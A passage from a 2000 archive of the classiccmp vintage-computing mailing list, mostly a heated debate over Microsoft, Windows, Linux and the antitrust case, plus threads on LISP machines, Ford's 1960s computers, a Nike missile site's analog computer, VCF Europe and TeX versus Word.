that via LYNX or, if your provided would allow it, you could use ICOMM, which worked from the shell. Neither NETSCAPE nor IE were as convenient as the NETCOM browser, NETCRUISER, which was pretty well debugged and almost convenient to use. The IE of the time would run on some Win95 beta versions, but it was ready for prime time much later than the OS was. Nevertheless, the two were released at more or less the same time. The IE for Win3.1x was released about a half-year later. > > > Internet Explorer always was a part of the Windows 9x package. Netscape, > > OTOH, was a commercial product intended for sale, but initially offered > > gratis to individual users. > > Nope, it was only 3.x of IE that was a download. > > > HOWEVER . . . they did have to purchase the > > WINSOCK from a third party, i.e. Trumpet, in most cases. This was never the > > case with Internet explorer. > > Nope Winsock and Networking was a direct part of Win95, WinNT etc. > It was an addon to Win3.1. Most of us used Trumpet until the IE3 > package added all the goodies. > I believe you've confused the two products to which I referred. NETSCAPE is the one that was a free download and for which you needed the third-party WINSOCK. IE was always complete and working. And v3.01 was on the PLUS! CD. Release 3.1 was a download as were all the subsequent releases. > > > Only after Internet Explorer became as popular > > as it did under '95 did Microsoft release the "made for WIndows 3.1x" > > version, also at no charge, but complete with its own WINSOCK and the 32-bit > > runtime libraries it needed for operation under the 16-bit OS. > > Yup The Win9x version was about 6 months to a year ahead of the Win9x > version. > What? > > > > > In the meantime, IBM had acquired LOTUS, primarily in order to take over the > > Lotus Notes program. With the spread of Netscape, people found that > > Netscape would replace Lotus Notes quite easily, hence IBM quickly acquired > > them, only to distance themselves from it later, in order to APPEAR to be an > > outsider to the conflict which I'm quite certain they actually scripted, and > > which is now being played out in the courts. > > Well, they rather quickly realised Notes Servers needed web > accessibility so Domino became a hot upgrade to Notes Server and Client. > > > > > Unfortunately, there does appear to be evidence that MS overreached its > > rightful position in the industry, giving their applications developers an > > advantage by giving them information they didn't publish as part of the > > standard API. That was an anticompetitive act, and should be reversed in > > some way. > > Yup. > > > > Many people think that lobotomizing MS would help the industry. I am not > > among them, however, because, at least for now, MS is the only organization > > capable of mustering the talent and resources to generate application > > software that pretty much functions as it should within the framework of > > this extremely complex OS. > > > > Believe me, I think the appllications could be done by hundreds of > companies -- if the MS apps folks were divorced of early access to the > API's the lead MS got over everyone else would dissapear. > Out of all the applications I saw, for Win3.1x and for '95, only one or two that I saw worked at all well, with the exception of those put out by Microsoft. I simply disposed of WordPerfect once I saw their Windows version. AmiPro, though better than WordPerfect for WIndows, was obviously not up to what WinWord v2.0 was. Only a few vendors, notably Corel and the guys who made Procomm Plus for WIndows, particularly v1.0 seemed to have a real grasp of how to build Windows applications that really worked. Corel apparently hasn't forgotten how, but I doubt their attempt to revive WordPerfect will last. > > > Even if someone else could do it, which I seriously doubt, it's unlikely > > anyone can come up with an OS capable of competing against Windows, if the > > same tests are to be applied that have been used to determine MS' practices > > monopolistic or anticompetitive. If the complete source code for Windows is > > to be mandated by the courts to be made available to anyone who wishes to > > write applications for Windows, MS is correct in demanding that the code be > > released only to companies who, including all their employees as > > individuals, be barred for a period of, say, ten years, from participating > > in the production of any operating system which might be used as a > > competitor to Microsoft's OS products, including the drivers, utilities, or > > ancillary programs, e.g. a browser. > > > Actually, if there was a GUI like the IBM Workplace Shell from OS/2 > available on FreeBSD, Linux, Solaris, etc there could be some > competitive apps. Right now I'm watching Koffice and the KDE stuff and > really enjoying WordPerfect Office 2000 on Linux. > > > > If they're to "fix" this thing in a permanent way, then they will have to > > legislate a solution which would require that no person involved in the > > development of any major software product be permitted to communicate with > > anyone else, not his/her spouse, offspring, superiors or subordinates, > > except in permanently recorded written form for a period not less than five > > years beyond the end of the economic life of that product. I doubt that > > will happen. > > > > Nope. Make the OS vendor, the Tooks vendor and the Desktop apps vendor > diferent companies and let the fun begin. > Tooks? > > I bet there would be an MS Office for Unix in about 6 months. > I also think they would see Borland tools back in the windows area > if they had the same API info as the Visual-whatever folks. > You really believe MS would waste its time producing Office for UNIX? That's rather a small market. Of course, since they already have all the code . . . > > IBM's stuff might even expand their toolsets even further. > > Bill > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > From allisonp at world.std.com Sun May 7 20:40:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:38 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before Message-ID: <029801bfb88e$9fe958c0$7464c0d0@ajp166> >But until the Vax is available at Intel prices and reliablity (the old >VS3100's and uVaxII's are getting a bit long in the tooth for joe >consumer -- and the disks are now creaky)... What disks creaky? They run with newer stuff. But no any os that has the VMS/Unix admin requirements is not consumer friendly anyway. Unix or VMS or even NT the aim is the same for someone like me. That is to get the user out of the core system where they have no business. Now the problem is that w9x et al has become pervasive any new OS one might introduce has to work and play well in that space, thats a PITA! Linux is ok, I've got Caldara OpenV2.3 and it's not faster than W95 and it uses just as much space, it aquired all the bloat win has. the advantage is it's got security. The down side is now you have a user that can't use word documents and excel spread sheets without conversion. Sharing files is easy if you fire up samba and try to explain "mounting" so someone that can nearly say CPU. Thats the problem with better. Allison From jhfine at idirect.com Sun May 7 22:01:33 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:52:38 2005 Subject: OT: Re: Welcome to classiccmp References: <200005080257.VAA05197@opal.tseinc.com> Message-ID: <39162E0D.B5383A89@idirect.com> >majordomo@classiccmp.org wrote: > Welcome to the classiccmp mailing list! Jerome Fine replies: Hi all, just wanted to confirm to myself that I am back on the list. From wvh at gethip.com Tue May 2 03:53:40 2000 From: wvh at gethip.com (Bill von Hagen) Date: Sun Feb 27 18:52:38 2005 Subject: Looking for LMI LISP Machines In-Reply-To: References: <4.3.1.2.20000501152408.00d61ae0@mail.city-net.com> Message-ID: <4.3.1.2.20000502044006.00b9cd70@mail.city-net.com> Perhaps a PERQ was not a LISP machine if hardware support for LISP and supporting services such as garbage collection is your criteria, but a workstation whose primary function was running LISP at that time seems to me to count, especially given that a microcoded LISP environment provides opportunities for low-level machine optimization for LISP along the same lines as other systems' hardware mods. Certainly the folks who spun off ETI from PERQ Systems to do AI work would have disagreed with you (though they quickly moved to TI Exploders as the PERQs quickly demonstrated themselves to be an evolutionary dead end). Much early CMU Common LISP work (then known as Spice LISP) was done on PERQs and then ported to other platforms after their demise. Spice LISP on PERQs was one of the LISP environments benchmarked in Gabriel's "Performance of Lisp Systems" (1985) along side the Symbos, LMI boxes, MIT CADR, etc, though to be fair, others included Franz Lisp, VAX Common LISP and Data General LISP. Bill At 06:53 PM 5/4/00 +0100, you wrote: > > have working samples of most/all of the other classic LispMs (PERQs, TI > >Hmm... While there certainly was a (microcoded) Lisp for the PERQ, I am >not sure I'd call the machine a 'lisp machine'. There was no hardware >support for lisp in the sense that the true Lisp Machines provided it. > >-tony From spc at armigeron.com Sun May 7 23:27:26 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <002c01bfb84e$32d2d120$0400c0a8@winbook> from "Richard Erlacher" at May 07, 2000 11:59:39 AM Message-ID: <200005080427.AAA22857@armigeron.com> I'm replying to several messages, all by Richard Erlacher, here in one message: > I'm often puzzled by the complaints about "crashes" under Win9x and NT. > My notebook, running Win95, hasn't crashed, although it's been in almost > constant use since early '97 when I bought it. Now, the machines into > which I routinely stick cards that may or may not work, along with > products that may or may not work, both hardware and software, . . . well, > they have had other histories, but it's seldom Microsoft software that's > to blame for that. And I've run Win95 for a year with no problems. It wasn't until Microsoft Office was installed on the machine did it lock up and I wasted two days trying to reinstall Win95, from scratch, before giving up and going to Linux so I could continue my job. Hardware didn't change. Just the addition of Microsoft Office. > I've never bought a license for a DEC OS, but I doubt it cost under $100. > There are Linux versions one can buy in ready-to-install form for under > $100, but those will cost $1M, at least, at 50-cents-an-hour before > they're working properly and that's only if you're a real *nix expert. > What's more, NO *nix version offers the features that make the Win9x > desirable for home computer use. There are lots of books out there for > *nix users, but I've yet to see a "{insert vendor name here} Office for > Dummies" book for LINUX, though I hear there is a "LINUX for Dummies" book > out there. So I assume that the *only* use a home computer is used for is for office suite software. Okay. Now, how much damage did the ILOVEYOU virus do? How much will it cost to fix the damage that ILOVEYOU virus did? More to the point (not really using any office suite program) the major attraction of an office suite is that the different applications can embed files from each other into a single document, right? That you can take a spreadsheet (or portion thereof) and embed it into a word processor document. Am I correct in that? There's nothing inherent in the design of Windows that precludes such from being done in other systems, other than a lack of economic insentive and the fear of bring the wrath of Microsoft down upon you and being crushed out of existance (aside: Cisco has as much, if not more, control in the router industry as Microsoft in software yet aren't nearly as hated as they make very good products and when they buy out a company, they tend to actually use the technology they bought out. Microsoft has a hit-or-miss reputation with software reliability and even when they buy out a company they are equally likely to sink the technolgy as they are to market it). > Many people think that lobotomizing MS would help the industry. I am not > among them, however, because, at least for now, MS is the only > organization capable of mustering the talent and resources to generate > application software that pretty much functions as it should within the > framework of this extremely complex OS. I doubt that. The free BSDs or Linux is a good counter example. And if you wish to discount the operating system, there is Apache. And if you wish to discount servers, the GIMP. While it isn't up to the functionality of Photoshop it certainly does anything a home user would want it to do. Nature abhoors a vaccum and if Microsoft is gone, it will be filled in rather quickly. Ding dong the witch is dead and all that. > Even if someone else could do it, which I seriously doubt, it's unlikely > anyone can come up with an OS capable of competing against Windows, if the > same tests are to be applied that have been used to determine MS' > practices monopolistic or anticompetitive. I don't follow your logic here. Which tests are you referring to? Outside of marketing, there is no technical reason why a Windows-like (or Mac-like) graphical user interface can't be built upon X Windows (the primary graphic sub-system used on Unix workstations) and applications built to that interface. Embedding documents into other documents isn't dependant upon the underlying operating system---OLE, COM and DCOM are interface and data exchange/understanding issues, not operating system dependant issues. > If the complete source code > for Windows is to be mandated by the courts to be made available to anyone > who wishes to write applications for Windows, MS is correct in demanding > that the code be released only to companies who, including all their > employees as individuals, be barred for a period of, say, ten years, from > participating in the production of any operating system which might be > used as a competitor to Microsoft's OS products, including the drivers, > utilities, or ancillary programs, e.g. a browser. Why? Such draconian measures would be such that you might not get very many companies (or programmers) willing to even consider such a deal. > If they're to "fix" this thing in a permanent way, then they will have to > legislate a solution which would require that no person involved in the > development of any major software product be permitted to communicate with > anyone else, not his/her spouse, offspring, superiors or subordinates, > except in permanently recorded written form for a period not less than > five years beyond the end of the economic life of that product. I doubt > that will happen. Again, why do you think this? > Well, we may get to see whether the courts come up with a prudent and > reasonable solution. The obvious solution to break up MS won't help, but > it will serve to octuple the cost of both software and hardware. It will > set back the industry a decade as it tries to find a substitute for MS in > a market where really only one OS and Office automation suite is going to > be effective. If you don't see that through your haze of rage at > Microsoft for doing something you weren't smart enough or diligent enough > to do yourself, then perhaps you can come up with a potential successor OS > to WIndows. Remember, though, that if MS simply closed its doors tomorrow, > it wouldn't harm MS as much as it would harm the end user. Personally, I feel that the two worst things to happen to our industry have been Unix and Microsoft. I won't go into why I think Unix is bad, but Microsoft has definitely kept the industry back technically, if only with entrenching the poor design of the IBM PC as a standard for nearly 20 years. Hell, if this sets the industry back 20 years that'll be the best thing to happen! Imagine, decent hardware! Software that actually works! Less slavish reliance on computers! That's bad? Another bad aspect of Microsoft is the proliferation of file formats. Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is imcompatible with Microsoft Word 98 format is imcompatible with Microsoft Word 2000 format. Sure Microsoft MAY make a utility available for upgrading the document but they don't make it easy and heaven forbid you find a cache of documents seven years old in the backups that is in Word 6 format. It's not hard to create a file format that is extensible, nor forward and backward compible. To bring this back to topic, I have extensive documentation on IFF, initially designed and documented in 1986 for the creation of files that can be extensible and forward/backward compatible, such that a document created with a program now can be opened with a program written 10 years ago and have it not crash (or at least be able to do something with the file and not loose the extra information). And it certainly doesn't take one megabyte to store a single page of information. That is just plain insane. > jpero@pop.cgocable.net > > > What I was thinking of is a untoucheable and invisible OS and for > > managing data is data users created only. Applications and any little > > utils, drivers and hardware all are seen as "modules". Drivers and > > hardware go hand in hand and is therefore as hardware module set. For > > applications and small utils, they would be software modules. > > That would be a WONDERFUL idea ... an OS distributed on ROM. I trust > you'll start on that immediately. Again, to bring this back on topic, there have been plenty of operating systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were all contained in ROM, were/are ROMmable and extensible. And all are older than 10 years old. Even MS-DOS came in ROM format for some computers (although I'm not sure if it ran out of ROM, or was copied to RAM before running). -spc (Have you actually USED anything other than Microsoft products?) From xds_sigma7 at hotmail.com Mon May 8 00:27:16 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:39 2005 Subject: Ford's '60s computer? Message-ID: <20000508052717.5112.qmail@hotmail.com> Umm, just a guess, but I would imagine in the late 50's/early 60's they probably had a Philco 2000 of some sort, since Philco was/is a division of Ford... And yes, they were later a Multics shop, up into about the mid to late 80's or so, I think. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From pbboy at mindspring.com Mon May 8 00:53:13 2000 From: pbboy at mindspring.com (Robert) Date: Sun Feb 27 18:52:39 2005 Subject: Ford's '60s computer? References: <20000508052717.5112.qmail@hotmail.com> Message-ID: <39165649.2B40D0D7@mindspring.com> That's interesting... Ford was making computers.... I did a search for Philco and all I could find was stuff about radios and a timeline of computers, nothing descriptive. It shows the Philco 2000 at 1957, and no other mention after that. Nothing about Multics either.Where can I find info on the Philco and Multics? Will Jennings wrote: > Umm, just a guess, but I would imagine in the late 50's/early 60's they > probably had a Philco 2000 of some sort, since Philco was/is a division of > Ford... And yes, they were later a Multics shop, up into about the mid to > late 80's or so, I think. > > Will J > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From fmc at reanimators.org Mon May 8 01:32:16 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: Jim Strickland's message of "Sun, 7 May 2000 18:55:32 -0600 (MDT)" References: <200005080055.SAA32090@calico.litterbox.com> Message-ID: <200005080632.XAA57519@daemonweed.reanimators.org> Jim Strickland wrote: > Ok, I'm a dolt. I get 4 mailing lists, 3 are about BeOS and this one. If > my comments about Gobe Productive, etc, don't make any sense, it's because > they're BeOS specific - it's been a busy day and I mixed up what group I was > writing to. Sorry. Oh, you get M*cr*s*ft advocacy and chatter about this week's VBScr*pt/W*rd macro "virus" on your other mailing lists too, so you can't tell the difference between them anymore either? You have my sympathies. -Frank McConnell From jim at calico.litterbox.com Mon May 8 02:10:28 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080632.XAA57519@daemonweed.reanimators.org> from "Frank McConnell" at May 07, 2000 11:32:16 PM Message-ID: <200005080710.BAA00707@calico.litterbox.com> Yeah, although the posts tend to gloat more. > > Jim Strickland wrote: > > Ok, I'm a dolt. I get 4 mailing lists, 3 are about BeOS and this one. If > > my comments about Gobe Productive, etc, don't make any sense, it's because > > they're BeOS specific - it's been a busy day and I mixed up what group I was > > writing to. Sorry. > > Oh, you get M*cr*s*ft advocacy and chatter about this week's > VBScr*pt/W*rd macro "virus" on your other mailing lists too, so you > can't tell the difference between them anymore either? You have my > sympathies. > > -Frank McConnell > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jpero at cgocable.net Sun May 7 22:21:10 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080427.AAA22857@armigeron.com> References: <002c01bfb84e$32d2d120$0400c0a8@winbook> from "Richard Erlacher" at May 07, 2000 11:59:39 AM Message-ID: <200005080716.e487GHr23000@admin.cgocable.net> > From: "Sean 'Captain Napalm' Conner" > Subject: Re: I wrote 'Nuke Redmond' > To: classiccmp@classiccmp.org > Date: Mon, 8 May 2000 00:27:26 -0400 (EDT) > Reply-to: classiccmp@classiccmp.org > > I'm replying to several messages, all by Richard Erlacher, here in one > message: > > > I'm often puzzled by the complaints about "crashes" under Win9x and NT. > > My notebook, running Win95, hasn't crashed, although it's been in almost > > constant use since early '97 when I bought it. Now, the machines into > > which I routinely stick cards that may or may not work, along with Hi, > Now, how much damage did the ILOVEYOU virus do? How much will it cost to > fix the damage that ILOVEYOU virus did? 3 weeks ago, relative's machine dual HDs contents went poof and all I go on with their history that was playing the bingo on web when it happened. I suspected virus. I pressed for more info but they couldn't come up with something that they might have unwittingly brought in virus. :-( Snip Snip > I doubt that. The free BSDs or Linux is a good counter example. And if > you wish to discount the operating system, there is Apache. And if you wish > to discount servers, the GIMP. While it isn't up to the functionality of > Photoshop it certainly does anything a home user would want it to do. Ditto, I doubt M$ to produce decent s/w and OSes and there's the wide range of confirmed reputations that said M$ pulled fast and dirty tricks to "break" other non-M$ stuff if they feel like it. There's the bloat, win2k weighs in over 440MB installed and requires gobs of ram and 500+MHz cpu to perform. Kernel itself on that Linux is OS and fits on one 1.44MB disk. XFree86 is much smaller and responds quicker. There is at least 3 or 4 different Xwindows for linux. > > Nature abhoors a vaccum and if Microsoft is gone, it will be filled in > rather quickly. Ding dong the witch is dead and all that. Exactly. There will be lot of suing and heavy shake-out in industry grabbing remains to get documentations to convert their M$-produced over to non-M$ formats. > > > Even if someone else could do it, which I seriously doubt, it's unlikely > > anyone can come up with an OS capable of competing against Windows, if the > > same tests are to be applied that have been used to determine MS' > > practices monopolistic or anticompetitive. > > I don't follow your logic here. Which tests are you referring to? Oh yes, Wine for linux. Windows emulator. > Outside of marketing, there is no technical reason why a Windows-like (or > Mac-like) graphical user interface can't be built upon X Windows (the Exactly, OS is just that OS. Apps and drivers runs on top of that OS. But M$ look at this differently and force us to take IE with win98. This I do not want to have on mine, I think this is major source and share of other problems by some other M$ stuff problems before the CIH virus came. > > > If the complete source code > > for Windows is to be mandated by the courts to be made available to anyone > > who wishes to write applications for Windows, MS is correct in demanding Snip > Why? Such draconian measures would be such that you might not get very > many companies (or programmers) willing to even consider such a deal. Court would see that clearly and will say denied to M$ demand if court orders Windows open-sourced. I think. Snip > > except in permanently recorded written form for a period not less than > > five years beyond the end of the economic life of that product. I doubt > > that will happen. Again whom to do this, M$? 5 yr is short. 10 is about right, better yet, 15. > > Again, why do you think this? Snip > > > Personally, I feel that the two worst things to happen to our industry > have been Unix and Microsoft. I won't go into why I think Unix is bad, but > Microsoft has definitely kept the industry back technically, if only with > entrenching the poor design of the IBM PC as a standard for nearly 20 years. > Hell, if this sets the industry back 20 years that'll be the best thing to > happen! Imagine, decent hardware! Software that actually works! Less > slavish reliance on computers! That's bad? This is about to change already, leagcy-free machines for windows IS coming out. No ISA, PCI, PS/2 ports, IDE, etc, just USB and firewire. Who has the two monoplies in this? Intel for this chipsets and M$ for OS and stuff. > Another bad aspect of Microsoft is the proliferation of file formats. > Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is Snip, this one is clearly breaking communication standards. In old days, ASCII was the rule and anyone could share the data easily with some conversion if required. M$ broke this idea and locked in users to windows and their buggy s/w, some s/w made for minority HW (Apple for example) because of this. > It's not hard to create a file format that is extensible, nor forward and > backward compible. To bring this back to topic, I have extensive > documentation on IFF, initially designed and documented in 1986 for the > creation of files that can be extensible and forward/backward compatible, > such that a document created with a program now can be opened with a program > written 10 years ago and have it not crash (or at least be able to do > something with the file and not loose the extra information). That is what I wanted to see because I often hit this wall when I need certain documentations and that one was made with old Word or works and I can't use it because M$ readers took a dare and said "Eek, too old!" in my face when I tried to open them. > > And it certainly doesn't take one megabyte to store a single page of > information. That is just plain insane. Appox 1K in ascii. > > > jpero@pop.cgocable.net > > > > > What I was thinking of is a untoucheable and invisible OS and for > > > managing data is data users created only. Applications and any little > > > utils, drivers and hardware all are seen as "modules". Drivers and > > > hardware go hand in hand and is therefore as hardware module set. For > > > applications and small utils, they would be software modules. > > > > That would be a WONDERFUL idea ... an OS distributed on ROM. I trust > > you'll start on that immediately. > > Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. And all are older > than 10 years old. Even MS-DOS came in ROM format for some computers > (although I'm not sure if it ran out of ROM, or was copied to RAM before > running). Most of these user interfaces listed, (did tried them in my travels, they're great for nerds and common-sense clueful users but downright scary and mind-boggling to most), is not good enough for IQ-impaired people who basically understood what it is if presented in a way like the Myst and Riven, "The Crystal Key" interface style. I-opener came very close to what I talked about because I was there on their website. Missing part is doesn't large enough HD and way to add software in understandable manner. This is best to remove the OS from user interface equation focus on hardware modules and software modules interfaces, software frequently too large to fit on largest flash cards. If one pop a cd or future solid holographic storage crystal into said machine I referred to. Then this software installs itself automatically and software module appears where empty socket was without any part on user's. The cd/crystal is now removed and that module remains in that machine. That is why simple devices kept selling: typewriters, simple s/w like works, phones, external fax machines, copiers, electronic appointment organizers, N64/PSX etc. > -spc (Have you actually USED anything other than Microsoft products?) Yes. Wizard From mranalog at home.com Mon May 8 02:14:35 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:52:39 2005 Subject: Ford's '60s computer? Message-ID: <3916695B.1BDEB146@home.com> Robert said: > Does anyone know what computer Ford Motor Company used in the 1960's? > I've read that Shelby used a computer to find the proper location for, > among other things, the upper control arm on the '65 Mustang for his > GT350 and used one to help design most, if not all, of his other > creations' critical parts. I've searched IBM (must've been IBM!) and > Ford and came up with nothing. Although IBM's timeline has the 608 It sounds like you're asking what computer Caroll Shelby used? As I understand it Ford built the cars then they were modified at Shelby's company, Shelby American, in L.A. You might try asking the Los Angeles Shelby American Automobile Club,http://www.lasaac.org/ or ask at Carroll Shelby official web page,http://www.carrollshelby.com/ --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From mranalog at home.com Mon May 8 04:03:20 2000 From: mranalog at home.com (Doug Coward) Date: Sun Feb 27 18:52:39 2005 Subject: Nike analog computer Message-ID: <391682D8.C7F3232F@home.com> Today beening the first sunday of the month, I finally went to see and to take some pictures of a historically important, but virtually unknown type of analog computer. Just north across the Golden Gate bridge is a beautiful protected area of rolling hills with biking and hiking trails, but honeycombed with tunnels and overgrown gun emplacements dating back to the 1870's. This area called the Marin Headlands is also the location of SF-88, the only one of 300 Nike missle sites to be restored for public viewing. They have a great web site and you can read about the rest of the site, but today I was interested in the control vans. One contains the electronic and controls for the radars that tracked the missle and the target. The other van contains the launch control panel and the "intercept computer", a Western Elecric electronic analog computer that occupies 4 equipment racks. This analog computer guided the missile after launch using radar inputs to intercept the target and maded the idea of a anti missile deterrent a reality. The missile site operated from 1955 to 1974 when it was turned over to the National Park Service. But before 1955 many scientists believed that a missile could never intercept another missile (they said, would be like "hitting a bullet with another bullet."). In 1955 Bell Telephone Laboratories completed 50,000 simulated intercepts of ballistic missile targets using an analog computer indicated that it was possible to hit a missile with another missile. Today, I took a bunch of pictures. They had the launch control panel powered up. Lots of multi-colored buttons, and above the panel is the plotter, you may have seen in the movies, with the two pens that slowly move closer and closer until they touch as the missile hits it's target. http://www.jps.net/ethelen/t_acqconsole.html A couple of pictures of the computer: http://www.jps.net/ethelen/t_acqconsole.html Take your own tour on-line: http://www.jps.net/ethelen/t_tour.html Nike sites in your state or country: http://www.jps.net/ethelen/appndx_b.html --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From mikeford at socal.rr.com Mon May 8 02:55:27 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001301bfb84c$99c1bf60$0400c0a8@winbook> References: <200005070402.AAA24938@armigeron.com> <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> Message-ID: >All the talk about the browser market is a red herring. Internet Explorer >was never a product separate from Windows. It was a part of the OS utility >package called PLUS!. In Win98, it was integrated into the OS becauseit was >the tool for viewing the help files, among other things. Wow, your view is much different from mine. Read the history of the turn of the century and the mess industrial revolution monopolies made of things, and tell me MicroSoft is ten cents different. We have MS trains running on MS tracks carrying MS cargo, wake up. From Hans.Franke at mch20.sbs.de Mon May 8 08:42:03 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:39 2005 Subject: VCF Europe? In-Reply-To: References: <3.0.5.32.20000505091910.007b8760@mail.wincom.net> Message-ID: <200005081142.e48Bgtr23001@mail2.siemens.de> > > Has anyone had a progress report on happenings at the VCF Europe? > Too much jaegermeister for anybody to be typing this soon. At the moment I'm waiting for the pictures to pour in... And I hope to set up the Post-VCFe Pages ASAP - maybe even within this week (no promise, no gurantee, no nothing :) Servus Hans Ü.S.: it's been great fun! -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From Hans.Franke at mch20.sbs.de Mon May 8 08:42:03 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:39 2005 Subject: VCF Munich! In-Reply-To: <200005071803.LAA04452@siconic.com> Message-ID: <200005081142.e48Bgsr22998@mail2.siemens.de> > I just returned home from my voyage to Munich for the VCF 1.0e and I > am happy to report that it went rather well, in fact as well as expected. > A little over 100 people came through over the course of the weekend. Don't make it smaller - we had between 155 and 170 visitors (155 are counted, but at least a dozend sliped thru open doors along the hallway). > There were some great exhibits, including a complete VAX 11/850 setup > and running, an Atari 1450XLD (only a few of these exist), some rare > East German microcomputers, and even an Inca Quipu! And several CP/M systems (ABC 80, BigBoard, ...) P2000 portable Philips Tek, Several Calculators (including a Russian, and a punch card operated) Sharp MZ80K, operating an egg cutting machine A Whole Series of Macs PETs (Original, 2001, 4016, 8032, 8296SK, B500) Bunch of Como Homecomputers (C16, VC20, VIC20, C64, C128, C128D, C128D Portable, C116, SX64) (Almost) All 8-Bit Ataries ever made (Gamesystem was missing) A ZX81 Superdisplay (ZX81 whit almost everything and a Harddisk :) Several other Homecomputer (Amiga, CPC, etc.) A Huge Pile of DEC Stuff, including a VAX 11/750 Two NS 32xxx based systems And of course the MUNIAC. > After the event was over, Hans, Philip and myself went on a three day > whirlwind tour around Germany. Three days couped up in a car with a > wacky Bavarian is more torture than anyone should ever be subjected to, > but Philip and I managed to make it through the ordeal without too many > psychological scars (I enter long term counseling tomorrow). Of course > you may get slightly differing opinions from Philip but pay him no mind ;) Errr... I'd use some different words, but at the moment my mental health crew allows me not to use any of the words Sallam told me... :) > Thanks to everyone who helped with VCF 1.0e, and of course extra- > special thanks go to Hans Franke for making it a reality. I also thank > him for teaching me some particularly juicy German. As my reportoire of > languages grows I will soon be able to insult and offend people the world > over! (Again, my doctors tell me not to responde :)) Anyway, it has been a lot of fun (I'm still searching for the Sundays winner of the give away), and Thank You to all of you. > Pictures of VCF 1.0e will be posted to the VCF website soon. Stay > tuned for details. > We'll see you all at the next VCF! For shure - and eVCF 2.0 will be held on April 28th & 29th, 2001, again here in Munich. The VCF virus will spread out onto the world. Gruss H. -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From cem14 at cornell.edu Sun May 7 22:11:17 2000 From: cem14 at cornell.edu (Carlos Murillo) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080046.SAA31983@calico.litterbox.com> References: <00f201bfb882$d5c6d460$04a0fea9@hal-9000-2> Message-ID: <3.0.2.32.20000507231117.0125e998@postoffice3.mail.cornell.edu> At 06:46 PM 5/7/00 -0600, you wrote: >Modern WordPerfect is actually quite nice, and to my knowledge it's the only >big name word processor that runs on Linux. The most professional, cross-platform, free procedural markup system (that's what pros call a true "word processor") is still \TeX. And it runs in almost every sufficiently-capable system that I know of. Not long ago, most academic book publishers in the general area of electrical engineering actually advocated the use of TeX by authors and editors. Integration of the manuscript was a joyride, and the result were always professional-looking. I enjoyed writing chapters or individual papers for several such publication efforts in the last ten years. Nowadays, publishers also provide Word macros in addition to the usual TeX or LaTeX style files. The problem is, when compiling a volume, you better have all of the contributing authors submit their chapters using the same platform, or the integration becomes a nightmare. I am going through exactly such misery, because other fellow authors (and the editors) chose Word. But I would never write my cherished equations using Word's equation editor; they would look like crap. And all the fine details regarding spacing and professional markup that distinguish typesetting from simple, office-quality word processing are still absent from Word. In order to blend my chapter into this volume, I've had to hack (in the sense of "chop") the carefully written style files of some guru at TeXnology Inc. While I have learned a lot about TeX internals in the process, the fact that I am doing this in order to make TeX's output look like Word's has caused me unbearable pain. What the world has come to thanks to MS. Somebody got it right earlier in the thread. Worse is better. Carlos. From pechter at pechter.dyndns.org Mon May 8 07:40:06 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <029801bfb88e$9fe958c0$7464c0d0@ajp166> from allisonp at "May 7, 2000 09:40:22 pm" Message-ID: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> > Now the problem is that w9x et al has become pervasive any new OS > one might introduce has to work and play well in that space, thats a PITA! > Linux is ok, I've got Caldara OpenV2.3 and it's not faster than W95 and > it uses just as much space, it aquired all the bloat win has. the advantage > is it's got security. The down side is now you have a user that can't use > word documents and excel spread sheets without conversion. Sharing > files is easy if you fire up samba and try to explain "mounting" so someone > that can nearly say CPU. Thats the problem with better. > > Allison > If Caldera 2.3 isn't faster than W95 it's got to be misconfigured. Boy, it's a 